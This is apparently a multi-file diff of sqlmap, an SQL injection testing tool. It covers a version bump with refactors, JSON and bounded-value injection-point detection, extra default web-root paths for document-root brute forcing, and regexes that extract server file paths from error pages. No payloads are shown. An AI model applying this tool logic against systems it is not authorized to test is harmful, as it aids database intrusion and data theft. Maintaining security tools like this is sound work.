+        if selectTopExpr or selectMinMaxExpr:
            lengthExpr = lengthQuery % ("(%s)" % expression)
        elif select:
            lengthExpr = expression.replace(fieldsStr, lengthQuery % fieldsStr, 1)
@@ -15,6 +15,7 @@ import os
 import sys
 import tempfile

+from lib.core.enums import MKSTEMP_PREFIX
 from lib.core.exception import SqlmapSystemException
 from lib.core.settings import BIGARRAY_CHUNK_SIZE

@@ -91,7 +92,7 @@ class BigArray(list):

    def _dump(self, chunk):
        try:
-            handle, filename = tempfile.mkstemp()
+            handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.BIG_ARRAY)
            self.filenames.add(filename)
            os.close(handle)
            with open(filename, "w+b") as fp:
@@ -72,6 +72,7 @@ from lib.core.enums import EXPECTED
 from lib.core.enums import HEURISTIC_TEST
 from lib.core.enums import HTTP_HEADER
 from lib.core.enums import HTTPMETHOD
+from lib.core.enums import MKSTEMP_PREFIX
 from lib.core.enums import OS
 from lib.core.enums import PLACE
 from lib.core.enums import PAYLOAD
@@ -91,6 +92,7 @@ from lib.core.log import LOGGER_HANDLER
 from lib.core.optiondict import optDict
 from lib.core.settings import BANNER
 from lib.core.settings import BOLD_PATTERNS
+from lib.core.settings import BOUNDED_INJECTION_MARKER
 from lib.core.settings import BRUTE_DOC_ROOT_PREFIXES
 from lib.core.settings import BRUTE_DOC_ROOT_SUFFIXES
 from lib.core.settings import BRUTE_DOC_ROOT_TARGET_MARK
@@ -102,6 +104,7 @@ from lib.core.settings import DEFAULT_MSSQL_SCHEMA
 from lib.core.settings import DUMMY_USER_INJECTION
 from lib.core.settings import DYNAMICITY_MARK_LENGTH
 from lib.core.settings import ERROR_PARSING_REGEXES
+from lib.core.settings import FILE_PATH_REGEXES
 from lib.core.settings import FORCE_COOKIE_EXPIRATION_TIME
 from lib.core.settings import FORM_SEARCH_REGEX
 from lib.core.settings import GENERIC_DOC_ROOT_DIRECTORY_NAMES
@@ -151,6 +154,7 @@ from lib.core.threads import getCurrentThreadData
 from lib.utils.sqlalchemy import _sqlalchemy
 from thirdparty.clientform.clientform import ParseResponse
 from thirdparty.clientform.clientform import ParseError
+from thirdparty.colorama.initialise import init as coloramainit
 from thirdparty.magic import magic
 from thirdparty.odict.odict import OrderedDict
 from thirdparty.termcolor.termcolor import colored
@@ -302,7 +306,7 @@ class Backend:

        # Little precaution, in theory this condition should always be false
        elif kb.dbms is not None and kb.dbms != dbms:
-            warnMsg = "there seems to be a high probability that "
+            warnMsg = "there appears to be a high probability that "
            warnMsg += "this could be a false positive case"
            logger.warn(warnMsg)

@@ -316,6 +320,8 @@ class Backend:
                _ = readInput(msg, default=kb.dbms)

                if aliasToDbmsEnum(_) == kb.dbms:
+                    kb.dbmsVersion = []
+                    kb.resolutionDbms = kb.dbms
                    break
                elif aliasToDbmsEnum(_) == dbms:
                    kb.dbms = aliasToDbmsEnum(_)
@@ -579,7 +585,7 @@ def paramToDict(place, parameters=None):
                if not conf.multipleTargets and not (conf.csrfToken and parameter == conf.csrfToken):
                    _ = urldecode(testableParameters[parameter], convall=True)
                    if (_.endswith("'") and _.count("'") == 1
-                      or re.search(r'\A9{3,}', _) or re.search(DUMMY_USER_INJECTION, _))\
+                      or re.search(r'\A9{3,}', _) or re.search(r'\A-\d+\Z', _) or re.search(DUMMY_USER_INJECTION, _))\
                      and not parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX):
                        warnMsg = "it appears that you have provided tainted parameter values "
                        warnMsg += "('%s') with most probably leftover " % element
@@ -598,27 +604,78 @@ def paramToDict(place, parameters=None):
                        warnMsg += "so sqlmap could be able to run properly"
                        logger.warn(warnMsg)

-    if conf.testParameter and not testableParameters:
-        paramStr = ", ".join(test for test in conf.testParameter)
+                if place in (PLACE.POST, PLACE.GET):
+                    for regex in (r"\A((?:<[^>]+>)+\w+)((?:<[^>]+>)+)\Z", r"\A([^\w]+.*\w+)([^\w]+)\Z"):
+                        match = re.search(regex, testableParameters[parameter])
+                        if match:
+                            try:
+                                candidates = OrderedDict()

-        if len(conf.testParameter) > 1:
-            warnMsg = "provided parameters '%s' " % paramStr
-            warnMsg += "are not inside the %s" % place
-            logger.warn(warnMsg)
-        else:
-            parameter = conf.testParameter[0]
+                                def walk(head, current=None):
+                                    current = current or head
+                                    if isListLike(current):
+                                        for _ in current:
+                                            walk(head, _)
+                                    elif isinstance(current, dict):
+                                        for key in current.keys():
+                                            value = current[key]
+                                            if isinstance(value, (list, tuple, set, dict)):
+                                                walk(head, value)
+                                            elif isinstance(value, (bool, int, float, basestring)):
+                                                original = current[key]
+                                                if isinstance(value, bool):
+                                                    current[key] = "%s%s" % (str(value).lower(), BOUNDED_INJECTION_MARKER)
+                                                else:
+                                                    current[key] = "%s%s" % (value, BOUNDED_INJECTION_MARKER)
+                                                candidates["%s (%s)" % (parameter, key)] = json.dumps(deserialized)
+                                                current[key] = original

-            if not intersect(USER_AGENT_ALIASES + REFERER_ALIASES + HOST_ALIASES, parameter, True):
-                debugMsg = "provided parameter '%s' " % paramStr
-                debugMsg += "is not inside the %s" % place
-                logger.debug(debugMsg)
+                                deserialized = json.loads(testableParameters[parameter])
+                                walk(deserialized)

-    elif len(conf.testParameter) != len(testableParameters.keys()):
-        for parameter in conf.testParameter:
-            if parameter not in testableParameters:
-                debugMsg = "provided parameter '%s' " % parameter
-                debugMsg += "is not inside the %s" % place
-                logger.debug(debugMsg)
+                                if candidates:
+                                    message = "it appears that provided value for %s parameter '%s' " % (place, parameter)
+                                    message += "is JSON deserializable. Do you want to inject inside? [y/N] "
+                                    test = readInput(message, default="N")
+                                    if test[0] in ("y", "Y"):
+                                        del testableParameters[parameter]
+                                        testableParameters.update(candidates)
+                                    break
+                            except (KeyboardInterrupt, SqlmapUserQuitException):
+                                raise
+                            except Exception:
+                                pass
+
+                            _ = re.sub(regex, "\g<1>%s\g<%d>" % (CUSTOM_INJECTION_MARK_CHAR, len(match.groups())), testableParameters[parameter])
+                            message = "it appears that provided value for %s parameter '%s' " % (place, parameter)
+                            message += "has boundaries. Do you want to inject inside? ('%s') [y/N] " % _
+                            test = readInput(message, default="N")
+                            if test[0] in ("y", "Y"):
+                                testableParameters[parameter] = re.sub(regex, "\g<1>%s\g<2>" % BOUNDED_INJECTION_MARKER, testableParameters[parameter])
+                            break
+
+    if conf.testParameter:
+        if not testableParameters:
+            paramStr = ", ".join(test for test in conf.testParameter)
+
+            if len(conf.testParameter) > 1:
+                warnMsg = "provided parameters '%s' " % paramStr
+                warnMsg += "are not inside the %s" % place
+                logger.warn(warnMsg)
+            else:
+                parameter = conf.testParameter[0]
+
+                if not intersect(USER_AGENT_ALIASES + REFERER_ALIASES + HOST_ALIASES, parameter, True):
+                    debugMsg = "provided parameter '%s' " % paramStr
+                    debugMsg += "is not inside the %s" % place
+                    logger.debug(debugMsg)
+
+        elif len(conf.testParameter) != len(testableParameters.keys()):
+            for parameter in conf.testParameter:
+                if parameter not in testableParameters:
+                    debugMsg = "provided parameter '%s' " % parameter
+                    debugMsg += "is not inside the %s" % place
+                    logger.debug(debugMsg)

    if testableParameters:
        for parameter, value in testableParameters.items():
@@ -628,7 +685,7 @@ def paramToDict(place, parameters=None):
                        decoded = value.decode(encoding)
                        if len(decoded) > MIN_ENCODED_LEN_CHECK and all(_ in string.printable for _ in decoded):
                            warnMsg = "provided parameter '%s' " % parameter
-                            warnMsg += "seems to be '%s' encoded" % encoding
+                            warnMsg += "appears to be '%s' encoded" % encoding
                            logger.warn(warnMsg)
                            break
                    except:
@@ -676,7 +733,7 @@ def getManualDirectories():
        infoMsg = "retrieved the web server document root: '%s'" % directories
        logger.info(infoMsg)
    else:
-        warnMsg = "unable to retrieve automatically the web server "
+        warnMsg = "unable to automatically retrieve the web server "
        warnMsg += "document root"
        logger.warn(warnMsg)

@@ -715,9 +772,14 @@ def getManualDirectories():

                for suffix in BRUTE_DOC_ROOT_SUFFIXES:
                    for target in targets:
-                        item = "%s/%s" % (prefix, suffix)
+                        if not prefix.endswith("/%s" % suffix):
+                            item = "%s/%s" % (prefix, suffix)
+                        else:
+                            item = prefix
+
                        item = item.replace(BRUTE_DOC_ROOT_TARGET_MARK, target).replace("//", '/').rstrip('/')
-                        directories.append(item)
+                        if item not in directories:
+                            directories.append(item)

                        if BRUTE_DOC_ROOT_TARGET_MARK not in prefix:
                            break
@@ -968,7 +1030,12 @@ def randomRange(start=0, stop=1000, seed=None):
    423
    """

-    randint = random.WichmannHill(seed).randint if seed is not None else random.randint
+    if seed is not None:
+        _ = getCurrentThreadData().random
+        _.seed(seed)
+        randint = _.randint
+    else:
+        randint = random.randint

    return int(randint(start, stop))

@@ -981,7 +1048,12 @@ def randomInt(length=4, seed=None):
    874254
    """

-    choice = random.WichmannHill(seed).choice if seed is not None else random.choice
+    if seed is not None:
+        _ = getCurrentThreadData().random
+        _.seed(seed)
+        choice = _.choice
+    else:
+        choice = random.choice

    return int("".join(choice(string.digits if _ != 0 else string.digits.replace('0', '')) for _ in xrange(0, length)))

@@ -994,7 +1066,12 @@ def randomStr(length=4, lowercase=False, alphabet=None, seed=None):
    'RNvnAv'
    """

-    choice = random.WichmannHill(seed).choice if seed is not None else random.choice
+    if seed is not None:
+        _ = getCurrentThreadData().random
+        _.seed(seed)
+        choice = _.choice
+    else:
+        choice = random.choice

    if alphabet:
        retVal = "".join(choice(alphabet) for _ in xrange(0, length))
@@ -1053,10 +1130,15 @@ def banner():
    This function prints sqlmap banner with its version
    """

-    _ = BANNER
-    if not getattr(LOGGER_HANDLER, "is_tty", False):
-        _ = re.sub("\033.+?m", "", _)
-    dataToStdout(_, forceOutput=True)
+    if not any(_ in sys.argv for _ in ("--version", "--pickled-options")):
+        _ = BANNER
+
+        if not getattr(LOGGER_HANDLER, "is_tty", False) or "--disable-coloring" in sys.argv:
+            _ = re.sub("\033.+?m", "", _)
+        elif IS_WIN:
+            coloramainit()
+
+        dataToStdout(_, forceOutput=True)

 def parsePasswordHash(password):
    """
@@ -1302,8 +1384,8 @@ def parseTargetUrl():
    except UnicodeError:
        _ = None

-    if any((_ is None, re.search(r'\s', conf.hostname), '..' in conf.hostname, conf.hostname.startswith('.'))):
-        errMsg = "invalid target URL"
+    if any((_ is None, re.search(r'\s', conf.hostname), '..' in conf.hostname, conf.hostname.startswith('.'), '\n' in originalUrl)):
+        errMsg = "invalid target URL ('%s')" % originalUrl
        raise SqlmapSyntaxException(errMsg)

    if len(hostnamePort) == 2:
@@ -1317,12 +1399,15 @@ def parseTargetUrl():
    else:
        conf.port = 80

-    if urlSplit.query:
-        conf.parameters[PLACE.GET] = urldecode(urlSplit.query) if urlSplit.query and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in urlSplit.query else urlSplit.query
-
    conf.url = getUnicode("%s://%s:%d%s" % (conf.scheme, ("[%s]" % conf.hostname) if conf.ipv6 else conf.hostname, conf.port, conf.path))
    conf.url = conf.url.replace(URI_QUESTION_MARKER, '?')

+    if urlSplit.query:
+        if '=' not in urlSplit.query:
+            conf.url = "%s?%s" % (conf.url, getUnicode(urlSplit.query))
+        else:
+            conf.parameters[PLACE.GET] = urldecode(urlSplit.query) if urlSplit.query and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in urlSplit.query else urlSplit.query
+
    if not conf.referer and (intersect(REFERER_ALIASES, conf.testParameter, True) or conf.level >= 3):
        debugMsg = "setting the HTTP Referer header to the target URL"
        logger.debug(debugMsg)
@@ -1452,7 +1537,7 @@ def parseFilePaths(page):
    """

    if page:
-        for regex in (r" in <b>(?P<result>.*?)</b> on line", r"(?:>|\s)(?P<result>[A-Za-z]:[\\/][\w.\\/]*)", r"(?:>|\s)(?P<result>/\w[/\w.]+)"):
+        for regex in FILE_PATH_REGEXES:
            for match in re.finditer(regex, page):
                absFilePath = match.group("result").strip()
                page = page.replace(absFilePath, "")
@@ -1828,7 +1913,7 @@ def parseXmlFile(xmlFile, handler):
        with contextlib.closing(StringIO(readCachedFileContent(xmlFile))) as stream:
            parse(stream, handler)
    except (SAXParseException, UnicodeError), ex:
-        errMsg = "something seems to be wrong with "
+        errMsg = "something appears to be wrong with "
        errMsg += "the file '%s' ('%s'). Please make " % (xmlFile, getSafeExString(ex))
        errMsg += "sure that you haven't made any changes to it"
        raise SqlmapInstallationException, errMsg
@@ -1886,8 +1971,8 @@ def readCachedFileContent(filename, mode='rb'):
            if filename not in kb.cache.content:
                checkFile(filename)
                try:
-	                with openFile(filename, mode) as f:
-	                    kb.cache.content[filename] = f.read()
+                    with openFile(filename, mode) as f:
+                        kb.cache.content[filename] = f.read()
                except (IOError, OSError, MemoryError), ex:
                    errMsg = "something went wrong while trying "
                    errMsg += "to read the content of file '%s' ('%s')" % (filename, getSafeExString(ex))
@@ -2783,7 +2868,7 @@ def setOptimize():
    conf.nullConnection = not any((conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor))

    if not conf.nullConnection:
-        debugMsg = "turning off --null-connection switch used indirectly by switch -o"
+        debugMsg = "turning off switch '--null-connection' used indirectly by switch '-o'"
        logger.debug(debugMsg)

 def initTechnique(technique=None):
@@ -2971,7 +3056,10 @@ def decodeIntToUnicode(value):
                    _ = "0%s" % _
                raw = hexdecode(_)

-                if Backend.isDbms(DBMS.MSSQL):
+                if Backend.isDbms(DBMS.MYSQL):
+                    # https://github.com/sqlmapproject/sqlmap/issues/1531
+                    retVal = getUnicode(raw, conf.charset or UNICODE_ENCODING)
+                elif Backend.isDbms(DBMS.MSSQL):
                    retVal = getUnicode(raw, "UTF-16-BE")
                elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE):
                    retVal = unichr(value)
@@ -3147,14 +3235,6 @@ def intersect(valueA, valueB, lowerCase=False):

    return retVal

-def cpuThrottle(value):
-    """
-    Does a CPU throttling for lesser CPU consumption
-    """
-
-    delay = 0.00001 * (value ** 2)
-    time.sleep(delay)
-
 def removeReflectiveValues(content, payload, suppressWarning=False):
    """
    Neutralizes reflective values in a given content based on a payload
@@ -3897,7 +3977,7 @@ def resetCookieJar(cookieJar):

                content = readCachedFileContent(conf.loadCookies)
                lines = filter(None, (line.strip() for line in content.split("\n") if not line.startswith('#')))
-                handle, filename = tempfile.mkstemp(prefix="sqlmapcj-")
+                handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.COOKIE_JAR)
                os.close(handle)

                # Reference: http://www.hashbangcode.com/blog/netscape-http-cooke-file-parser-php-584.html
@@ -11,7 +11,6 @@ import pickle
 import re
 import StringIO
 import sys
-import types

 from lib.core.settings import IS_WIN
 from lib.core.settings import UNICODE_ENCODING
@@ -161,7 +160,7 @@ def htmlunescape(value):
        codes = (('&lt;', '<'), ('&gt;', '>'), ('&quot;', '"'), ('&nbsp;', ' '), ('&amp;', '&'))
        retVal = reduce(lambda x, y: x.replace(y[0], y[1]), codes, retVal)
        try:
-            retVal = re.sub(r"&#x([^;]+);", lambda match: unichr(int(match.group(1), 16)), retVal)
+            retVal = re.sub(r"&#x([^ ;]+);", lambda match: unichr(int(match.group(1), 16)), retVal)
        except ValueError:
            pass
    return retVal
@@ -8,8 +8,6 @@ See the file 'doc/COPYING' for copying permission
 import copy
 import types

-from lib.core.exception import SqlmapDataException
-
 class AttribDict(dict):
    """
    This class defines the sqlmap object, inheriting from Python data
@@ -43,7 +41,7 @@ class AttribDict(dict):
        try:
            return self.__getitem__(item)
        except KeyError:
-            raise SqlmapDataException("unable to access item '%s'" % item)
+            raise AttributeError("unable to access item '%s'" % item)

    def __setattr__(self, item, value):
        """
@@ -93,6 +91,7 @@ class InjectionDict(AttribDict):
        self.prefix = None
        self.suffix = None
        self.clause = None
+        self.notes = []  # Note: https://github.com/sqlmapproject/sqlmap/issues/1888

        # data is a dict with various stype, each which is a dict with
        # all the information specific for that stype
@@ -15,10 +15,13 @@ def cachedmethod(f, cache={}):
    def _(*args, **kwargs):
        try:
            key = (f, tuple(args), frozenset(kwargs.items()))
+            if key not in cache:
+                cache[key] = f(*args, **kwargs)
        except:
            key = "".join(str(_) for _ in (f, args, kwargs))
-        if key not in cache:
-            cache[key] = f(*args, **kwargs)
+            if key not in cache:
+                cache[key] = f(*args, **kwargs)
+
        return cache[key]

    return _
@@ -11,7 +11,6 @@ _defaults = {
   "csvDel":       ",",
   "timeSec":      5,
   "googlePage":   1,
-   "cpuThrottle":  5,
   "verbose":      1,
   "delay":        0,
   "timeout":      30,
@@ -234,6 +234,6 @@ DUMP_DATA_PREPROCESS = {
                       }

 DEFAULT_DOC_ROOTS = {
-                        OS.WINDOWS: ("C:/xampp/htdocs/", "C:/Inetpub/wwwroot/"),
-                        OS.LINUX: ("/var/www/", "/var/www/html", "/usr/local/apache2/htdocs", "/var/www/nginx-default")  # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout
+                        OS.WINDOWS: ("C:/xampp/htdocs/", "C:/wamp/www/", "C:/Inetpub/wwwroot/"),
+                        OS.LINUX: ("/var/www/", "/var/www/html", "/usr/local/apache2/htdocs", "/var/www/nginx-default", "/srv/www")  # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout
                    }
@@ -194,6 +194,7 @@ class OPTION_TYPE:

 class HASHDB_KEYS:
    DBMS = "DBMS"
+    DBMS_FORK = "DBMS_FORK"
    CHECK_WAF_RESULT = "CHECK_WAF_RESULT"
    CONF_TMP_PATH = "CONF_TMP_PATH"
    KB_ABS_FILE_PATHS = "KB_ABS_FILE_PATHS"
@@ -351,3 +352,15 @@ class AUTOCOMPLETE_TYPE:
    SQL = 0
    OS = 1
    SQLMAP = 2
+
+class NOTE:
+    FALSE_POSITIVE_OR_UNEXPLOITABLE = "false positive or unexploitable"
+
+class MKSTEMP_PREFIX:
+    HASHES = "sqlmaphashes-"
+    CRAWLER = "sqlmapcrawler-"
+    IPC = "sqlmapipc-"
+    TESTING = "sqlmaptesting-"
+    RESULTS = "sqlmapresults-"
+    COOKIE_JAR = "sqlmapcookiejar-"
+    BIG_ARRAY = "sqlmapbigarray-"
@@ -133,6 +133,7 @@ from lib.core.settings import URI_INJECTABLE_REGEX
 from lib.core.settings import VERSION_STRING
 from lib.core.settings import WEBSCARAB_SPLITTER
 from lib.core.threads import getCurrentThreadData
+from lib.core.threads import setDaemon
 from lib.core.update import update
 from lib.parse.configfile import configFileParser
 from lib.parse.payloads import loadBoundaries
@@ -151,7 +152,6 @@ from lib.utils.crawler import crawl
 from lib.utils.deps import checkDependencies
 from lib.utils.search import search
 from lib.utils.purge import purge
-from thirdparty.colorama.initialise import init as coloramainit
 from thirdparty.keepalive import keepalive
 from thirdparty.oset.pyoset import oset
 from thirdparty.socks import socks
@@ -385,7 +385,7 @@ def _loadQueries():
    try:
        tree.parse(paths.QUERIES_XML)
    except Exception, ex:
-        errMsg = "something seems to be wrong with "
+        errMsg = "something appears to be wrong with "
        errMsg += "the file '%s' ('%s'). Please make " % (paths.QUERIES_XML, getSafeExString(ex))
        errMsg += "sure that you haven't made any changes to it"
        raise SqlmapInstallationException, errMsg
@@ -926,7 +926,7 @@ def _setTamperingFunctions():
                    function.func_name = module.__name__

                    if check_priority and priority > last_priority:
-                        message = "it seems that you might have mixed "
+                        message = "it appears that you might have mixed "
                        message += "the order of tamper scripts. "
                        message += "Do you want to auto resolve this? [Y/n/q] "
                        test = readInput(message, default="Y")
@@ -998,6 +998,8 @@ def _setWafFunctions():
            else:
                kb.wafFunctions.append((_["detect"], _.get("__product__", filename[:-3])))

+        kb.wafFunctions = sorted(kb.wafFunctions, key=lambda _: "generic" in _[1].lower())
+
 def _setThreads():
    if not isinstance(conf.threads, int) or conf.threads <= 0:
        conf.threads = 1
@@ -1064,6 +1066,7 @@ def _setSocketPreConnect():
        socket.socket.connect = connect

        thread = threading.Thread(target=_)
+        setDaemon(thread)
        thread.start()

 def _setHTTPHandlers():
@@ -1545,18 +1548,36 @@ def _createTemporaryDirectory():
    Creates temporary directory for this run.
    """

-    try:
-        if not os.path.isdir(tempfile.gettempdir()):
-            os.makedirs(tempfile.gettempdir())
-    except IOError, ex:
-        errMsg = "there has been a problem while accessing "
-        errMsg += "system's temporary directory location(s) ('%s'). Please " % getSafeExString(ex)
-        errMsg += "make sure that there is enough disk space left. If problem persists, "
-        errMsg += "try to set environment variable 'TEMP' to a location "
-        errMsg += "writeable by the current user"
-        raise SqlmapSystemException, errMsg
+    if conf.tmpDir:
+        try:
+            if not os.path.isdir(conf.tmpDir):
+                os.makedirs(conf.tmpDir)

-    if "sqlmap" not in (tempfile.tempdir or ""):
+            _ = os.path.join(conf.tmpDir, randomStr())
+            open(_, "w+b").close()
+            os.remove(_)
+
+            tempfile.tempdir = conf.tmpDir
+
+            warnMsg = "using '%s' as the temporary directory" % conf.tmpDir
+            logger.warn(warnMsg)
+        except (OSError, IOError), ex:
+            errMsg = "there has been a problem while accessing "
+            errMsg += "temporary directory location(s) ('%s')" % getSafeExString(ex)
+            raise SqlmapSystemException, errMsg
+    else:
+        try:
+            if not os.path.isdir(tempfile.gettempdir()):
+                os.makedirs(tempfile.gettempdir())
+        except IOError, ex:
+            errMsg = "there has been a problem while accessing "
+            errMsg += "system's temporary directory location(s) ('%s'). Please " % getSafeExString(ex)
+            errMsg += "make sure that there is enough disk space left. If problem persists, "
+            errMsg += "try to set environment variable 'TEMP' to a location "
+            errMsg += "writeable by the current user"
+            raise SqlmapSystemException, errMsg
+
+    if "sqlmap" not in (tempfile.tempdir or "") or conf.tmpDir and tempfile.tempdir == conf.tmpDir:
        tempfile.tempdir = tempfile.mkdtemp(prefix="sqlmap", suffix=str(os.getpid()))

    kb.tempDir = tempfile.tempdir
@@ -1590,6 +1611,9 @@ def _cleanupOptions():
    else:
        conf.testParameter = []

+    if conf.agent:
+        conf.agent = conf.agent.strip("\r\n")
+
    if conf.user:
        conf.user = conf.user.replace(" ", "")

@@ -1654,10 +1678,20 @@ def _cleanupOptions():
        conf.testFilter = conf.testFilter.strip('*+')
        conf.testFilter = re.sub(r"([^.])([*+])", "\g<1>.\g<2>", conf.testFilter)

+        try:
+            re.compile(conf.testFilter)
+        except re.error:
+            conf.testFilter = re.escape(conf.testFilter)
+
    if conf.testSkip:
        conf.testSkip = conf.testSkip.strip('*+')
        conf.testSkip = re.sub(r"([^.])([*+])", "\g<1>.\g<2>", conf.testSkip)

+        try:
+            re.compile(conf.testSkip)
+        except re.error:
+            conf.testSkip = re.escape(conf.testSkip)
+
    if "timeSec" not in kb.explicitSettings:
        if conf.tor:
            conf.timeSec = 2 * conf.timeSec
@@ -1807,6 +1841,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):

    kb.columnExistsChoice = None
    kb.commonOutputs = None
+    kb.cookieEncodeChoice = None
    kb.counters = {}
    kb.data = AttribDict()
    kb.dataOutputFlag = False
@@ -1829,6 +1864,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
    kb.extendTests = None
    kb.errorChunkLength = None
    kb.errorIsNone = True
+    kb.falsePositives = []
    kb.fileReadMode = False
    kb.followSitemapRecursion = None
    kb.forcedDbms = None
@@ -1838,6 +1874,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
    kb.headersFp = {}
    kb.heuristicDbms = None
    kb.heuristicMode = False
+    kb.heuristicPage = False
    kb.heuristicTest = None
    kb.hintValue = None
    kb.htmlFp = []
@@ -1896,6 +1933,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
    kb.reflectiveCounters = {REFLECTIVE_COUNTER.MISS: 0, REFLECTIVE_COUNTER.HIT: 0}
    kb.requestCounter = 0
    kb.resendPostOnRedirect = None
+    kb.resolutionDbms = None
    kb.responseTimes = {}
    kb.responseTimeMode = None
    kb.responseTimePayload = None
@@ -1910,6 +1948,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
    kb.storeCrawlingChoice = None
    kb.storeHashesChoice = None
    kb.suppressResumeInfo = False
+    kb.tableFrom = None
    kb.technique = None
    kb.tempDir = None
    kb.testMode = False
@@ -2298,7 +2337,7 @@ def _checkTor():
        page = None

    if not page or 'Congratulations' not in page:
-        errMsg = "it seems that Tor is not properly set. Please try using options '--tor-type' and/or '--tor-port'"
+        errMsg = "it appears that Tor is not properly set. Please try using options '--tor-type' and/or '--tor-port'"
        raise SqlmapConnectionException(errMsg)
    else:
        infoMsg = "Tor is properly being used"
@@ -2331,10 +2370,6 @@ def _basicOptionValidation():
        errMsg = "value for option '--first' (firstChar) must be smaller than or equal to value for --last (lastChar) option"
        raise SqlmapSyntaxException(errMsg)

-    if isinstance(conf.cpuThrottle, int) and (conf.cpuThrottle > 100 or conf.cpuThrottle < 0):
-        errMsg = "value for option '--cpu-throttle' (cpuThrottle) must be in range [0,100]"
-        raise SqlmapSyntaxException(errMsg)
-
    if conf.textOnly and conf.nullConnection:
        errMsg = "switch '--text-only' is incompatible with switch '--null-connection'"
        raise SqlmapSyntaxException(errMsg)
@@ -2534,11 +2569,9 @@ def _resolveCrossReferences():
    lib.request.connect.setHTTPHandlers = _setHTTPHandlers
    lib.utils.search.setHTTPHandlers = _setHTTPHandlers
    lib.controller.checks.setVerbosity = setVerbosity
+    lib.controller.checks.setWafFunctions = _setWafFunctions

 def initOptions(inputOptions=AttribDict(), overrideOptions=False):
-    if IS_WIN:
-        coloramainit()
-
    _setConfAttributes()
    _setKnowledgeBaseAttributes()
    _mergeOptions(inputOptions, overrideOptions)
@@ -136,6 +136,7 @@ optDict = {
                               "tbl":               "string",
                               "col":               "string",
                               "excludeCol":        "string",
+                               "pivotColumn":       "string",
                               "dumpWhere":         "string",
                               "user":              "string",
                               "excludeSysDbs":     "boolean",
@@ -189,6 +190,7 @@ optDict = {
                               #"xmlFile":           "string",
                               "trafficFile":       "string",
                               "batch":             "boolean",
+                               "binaryFields":      "string",
                               "charset":           "string",
                               "crawlDepth":        "integer",
                               "crawlExclude":      "string",
@@ -201,7 +203,6 @@ optDict = {
                               "hexConvert":        "boolean",
                               "outputDir":         "string",
                               "parseErrors":       "boolean",
-                               "pivotColumn":       "string",
                               "saveConfig":        "string",
                               "scope":             "string",
                               "testFilter":        "string",
@@ -217,23 +218,22 @@ optDict = {
                               "dependencies":      "boolean",
                               "disableColoring":   "boolean",
                               "googlePage":        "integer",
+                               "identifyWaf":       "boolean",
                               "mobile":            "boolean",
                               "offline":           "boolean",
                               "pageRank":          "boolean",
                               "purgeOutput":       "boolean",
+                               "skipWaf":           "boolean",
                               "smart":             "boolean",
+                               "tmpDir":            "string",
                               "wizard":            "boolean",
                               "verbose":           "integer",
                             },
            "Hidden": {
                               "dummy":             "boolean",
                               "disablePrecon":     "boolean",
-                               "binaryFields":      "string",
                               "profile":           "boolean",
-                               "cpuThrottle":       "integer",
                               "forceDns":          "boolean",
-                               "identifyWaf":       "boolean",
-                               "skipWaf":           "boolean",
                               "ignore401":         "boolean",
                               "smokeTest":         "boolean",
                               "liveTest":          "boolean",
@@ -7,6 +7,7 @@ See the file 'doc/COPYING' for copying permission

 import re

+from lib.core.common import aliasToDbmsEnum
 from lib.core.common import Backend
 from lib.core.common import Format
 from lib.core.common import hashDBWrite
@@ -32,6 +33,8 @@ def setDbms(dbms):
        dbms = _.group(1)

    Backend.setDbms(dbms)
+    if kb.resolutionDbms:
+        hashDBWrite(HASHDB_KEYS.DBMS, kb.resolutionDbms)

    logger.info("the back-end DBMS is %s" % Backend.getDbms())

@@ -10,7 +10,6 @@ import re
 import subprocess
 import string
 import sys
-import time
 import types

 from lib.core.datatype import AttribDict
@@ -20,7 +19,7 @@ from lib.core.enums import OS
 from lib.core.revision import getRevisionNumber

 # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
-VERSION = "1.0.4.0"
+VERSION = "1.0.6.0"
 REVISION = getRevisionNumber()
 STABLE = VERSION.count('.') <= 2
 VERSION_STRING = "sqlmap/%s#%s" % (VERSION, "stable" if STABLE else "dev")
@@ -61,6 +60,7 @@ PARTIAL_HEX_VALUE_MARKER = "__PARTIAL_HEX_VALUE__"
 URI_QUESTION_MARKER = "__QUESTION_MARK__"
 ASTERISK_MARKER = "__ASTERISK_MARK__"
 REPLACEMENT_MARKER = "__REPLACEMENT_MARK__"
+BOUNDED_INJECTION_MARKER = "__BOUNDED_INJECTION_MARK__"

 RANDOM_INTEGER_MARKER = "[RANDINT]"
 RANDOM_STRING_MARKER = "[RANDSTR]"
@@ -69,6 +69,9 @@ PAYLOAD_DELIMITER = "__PAYLOAD_DELIMITER__"
 CHAR_INFERENCE_MARK = "%c"
 PRINTABLE_CHAR_REGEX = r"[^\x00-\x1f\x7f-\xff]"

+# Regular expression used for extraction of table names (useful for (e.g.) MsAccess)
+SELECT_FROM_TABLE_REGEX = r"\bSELECT .+? FROM (?P<result>[\w.]+)\b"
+
 # Regular expression used for recognition of textual content-type
 TEXT_CONTENT_TYPE_REGEX = r"(?i)(text|form|message|xml|javascript|ecmascript|json)"

@@ -130,6 +133,9 @@ HTTP_ACCEPT_ENCODING_HEADER_VALUE = "gzip,deflate"
 # Default timeout for running commands over backdoor
 BACKDOOR_RUN_CMD_TIMEOUT = 5

+# Number of seconds to wait for thread finalization at program end
+THREAD_FINALIZATION_TIMEOUT = 1
+
 # Maximum number of techniques used in inject.py/getValue() per one value
 MAX_TECHNIQUES_PER_VALUE = 2

@@ -281,12 +287,16 @@ BLANK = "<blank>"
 # String representation for current database
 CURRENT_DB = "CD"

+# Regular expressions used for finding file paths in error messages
+FILE_PATH_REGEXES = (r" in (file )?<b>(?P<result>.*?)</b> on line", r"(?:[>(\[\s])(?P<result>[A-Za-z]:[\\/][\w.\\/-]*)", r"(?:[>(\[\s])(?P<result>/\w[/\w.-]+)", r"href=['\"]file://(?P<result>/[^'\"]+)")
+
 # Regular expressions used for parsing error messages (--parse-errors)
